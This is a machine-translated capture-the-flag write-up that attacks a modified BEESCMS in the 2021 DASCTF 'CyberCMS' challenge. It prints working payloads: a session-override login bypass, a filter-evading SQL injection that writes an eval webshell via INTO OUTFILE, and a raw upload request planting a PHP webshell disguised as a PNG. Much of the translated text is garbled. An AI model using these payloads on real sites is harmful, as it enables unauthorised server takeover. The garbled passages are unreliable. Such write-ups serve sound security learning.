The introduction
At the recently concluded 2021 DASCTF July X CBCTF 4th competition, there was a Web title called CyberCMS.
The expected solution is to write a word Trojan from the background login SQL injection, but I tried another way of thinking when doing the problem, with the background login bypass & Trojan upload.
Because it was very uncomfortable when I couldn’t play for half a day during the competition, I still couldn’t figure it out after the competition, so I had a little in-depth study, and finally succeeded in getting through through twists and turns.
This article is to record the heart process of doing this problem…
Title a preliminary
cybercms
Cyber CMS, only for safety
Hint: Information gathering is a must-have skill for a Web hand
Okay, so BEESCMS, the description in the head hasn’t changed, and the text hasn’t changed either.
Found the official V4.0 source download from the official website
(It didn’t seem to work, but it did
Background login bypass & upload
Beescms variable override vulnerability causes background login to bypass analysis, $_SESSION can be arbitrary overwritten.
POST /
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
Copy the code
Then you can access the background directly.
http://xxxxxxxxxxx/admin/admin.php
3 beesCMS getShell
Upload a one-word Trojan with the suffix.php and modify content-Type: image/ PNG to pass the file Type verification.
However, it was found that he did not have permission to upload the file directory ah, just upload a normal picture is the same……
Source leaked
/www.zip…
Diff method good ah, it seems that the official source is still useful 2333.
– Added hackable/ directory to make it look like the only directory you can write to. (Although it turned out not to be
The login also filters the SQL injection.
Note that the /* * filter is also removed.
Upload point source audit
Look at the upload part of the source code.
Reviewed a wave of source code, found that you can actually construct directory traversal.
$up_file_name2 comes from $pic_alt. This is controllable, just create a hackable directory to navigate through.
To get in here, remember to change content-Type: image/ PNG and is_alt to 1 when uploading.
PHP does not have access to the directory where the file is located, but the file name is.php.
$pic_alt is not passed in. If left blank, it is not a random number
Another upload site audit
So we had to dig another file upload point and consider uploading by modifying the interface of uploaded pictures.
The corresponding source code is as follows.
$pic_path and $pic_name are both controllable. Of course this is PHP/5.6.40, %00 truncation is not feasible 2333.
But I couldn’t get through…
I dug two ways to upload the hackable directory, but I couldn’t get through…
File directory restrictions, I guess.
The state of mind exploded ah ah ah.
SQL injection write horse (expected solution)
Harm, after the game to see the big guy’s WP, yao have to go, or SQL injection to write files. (the Buddha
Take a look at the SQL injection statement from diff above.
function fl_value($str){ if(empty($str)){return; } return preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|.. /|./| union | from | where | group | into |load_file |outfile/i','',$str); } define('INC_BEES','B'.'EE'.'SCMS'); function fl_html($str){ return htmlspecialchars($str); } function f1_vvv($str){ if(empty($str)){return; } if(preg_match("/\ /i", $str)){ exit('Go away,bad hacker!! '); } preg_replace('/0x/i','',$str); return $str; }Copy the code
Filter space, but the /* filter removed, in addition to some keywords filter for empty, double write bypass is done.
Log in according to the SQL statement in the code
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin Where admin_name = '". $user. "' limit 0, 1 ");Copy the code
To construct the SQL
# select xxx into outfile xxx # <? php eval($_REQUEST['m']); ? > admin' /**/ uni union on /**/ seselectlect /**/ null,null,null,null,0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e /**/ in in to /**/ outoutfilefile /**/ '/var/www/html/upload/miao.php'#Copy the code
I don’t know why0x
Not filtered to empty, double write0x
SQL execution error reported instead of delete
Payload:
POST /admin/login.php? Action = ck_login HTTP / 1.1 user=admin%27%2F%2A%2A%2Funi%20union%20on%2F%2A%2A%2Fseselectlect%2F%2A%2A%2Fnull%2Cnull%2Cnull%2Cnull%2C0x3c3f706870206 576616c28245f524551554553545b276d275d293b3f3e%2F%2A%2A%2Fin%20in%20to%2F%2A%2A%2Foutoutfilefile%2F%2A%2A%2F%27%2Fvar%2Fw ww%2Fhtml%2Fupload%2Fmiao%2Ephp%27%23&password=miao&code=&submit=true&submit.x=43&submit.y=24Copy the code
You can also use char to write to the Trojan horse.
admin' /**/ uni union on /**/ seselectlect /**/ Null, null, null, null, char (60,63,112,104,112,32,101,118,97,108,40,36,95,82,69,81,85,69,83,84,91,39,109,39,93,41,59,63,62) /**/ in in to /**/ outoutfilefile /**/ '/var/www/html/upload/miao.php'#Copy the code
MySQL > select * from user root;
/var/ WWW/HTML directory is given to WWW -data user, but the subdirectory is not given recursive owner and write permission.
$ ps -ef
PID USER TIME COMMAND
1 root 0:07 /bin/sh /usr/local/bin/docker-php-entrypoint
10 root 0:21 /usr/bin/mysqld --user=root --skip-name-resolve --skip-networking=0
54 root 0:02 php-fpm: master process (/usr/local/etc/php-fpm.conf)
60 root 0:00 nginx: master process nginx
61 nginx 0:00 nginx: worker process
62 www-data 0:00 php-fpm: pool www
63 www-data 0:01 php-fpm: pool www
19798 root 0:00 sleep 5s
19799 www-data 0:00 ps -ef
Copy the code
Or maybe this is the only way to go for the expected solution.
I am so angry that I will pyflag it next time
Click upload again
Oh right, think I dug two upload points are whole, really feel bad ah.
/var/ HTML/WWW = /var/ HTML/WWW = /var/ HTML/WWW = /var/ HTML/WWW = /var/ HTML/WWW
This is the interface for modifying pictures, which is the second upload point mentioned above.
After uploading the capture package to modify a few places, look at the picture.
So move_uploaded_file is going to move to the root of the website.
POST /admin/admin_pic.php? Nav = pic_list & admin_p_nav = the content HTTP / 1.1 Host: cae a10f5ec3-1-476 - e - bb23-31 ed556086dd. Node4. Buuoj. Cn content - Length: 1546 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn Content-Type: multipart/form-data; A boundary = - WebKitFormBoundaryIZBj4kiaMbZzC9WL the user-agent: Mozilla / 5.0 (Windows NT 10.0; Win64; X64) AppleWebKit (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q = 0.9 Referer: http://a10f5ec3-1cae-476e-bb23-31ed556086dd.node4.buuoj.cn/admin/admin_pic.php?action=edit_pic&id=33&nav=pic_list&admin_ p_nav=content Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh; Q = 0.9 cookies: PHPSESSID = 775 sgdevoo6c222oonmf0qhp71 Connection: close ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="is_thumb" 0 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="thumb_width" 300 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="thumb_height" 200 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_alt" miao ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="new_pic"; filename="cmd.php" Content-Type: image/png <? php @eval($_POST['cmd']); ? > ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="action" save_edit ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_cate" 1 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_path" ./ ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_name" 1 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic" upload/img/202107070904261782.jpg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_ext" jpg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="id" 33 ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; name="pic_thumb" img/202107070904261782_thumb.jpeg ------WebKitFormBoundaryIZBj4kiaMbZzC9WL Content-Disposition: form-data; Name = "xg_category" -- -- -- -- -- - WebKitFormBoundaryIZBj4kiaMbZzC9WL - is determinedCopy the code
Leave pic_path blank.
Oh, there it is. It’s working.
Meow meow cry (
I thought again, wondering if it is iconv’s pan, uploading through this function when everything is gone…
$up_file_name=empty($pic_alt)? Date (' YmdHis). Rand (1100, 00) : $pic_alt; $up_file_name2=iconv('UTF-8','GBK',$up_file_name); $file_name=$path.$up_file_name2.'.'.$pic_name['extension']; $pic_name=$_POST['pic_name']; / / picture name $pic_name = iconv (' utf-8 ', 'GBK, $pic_name);Copy the code
Phpinfo take a look.
Boy, looks like there’s no Libiconv or Glibc, so everything in here is empty… It’s all right.
summary
In fact, it is a deep exploration because of impossibility. Alas, this problem is not easy to do…
Want to learn network security friends can pay attention to private letter I oh!!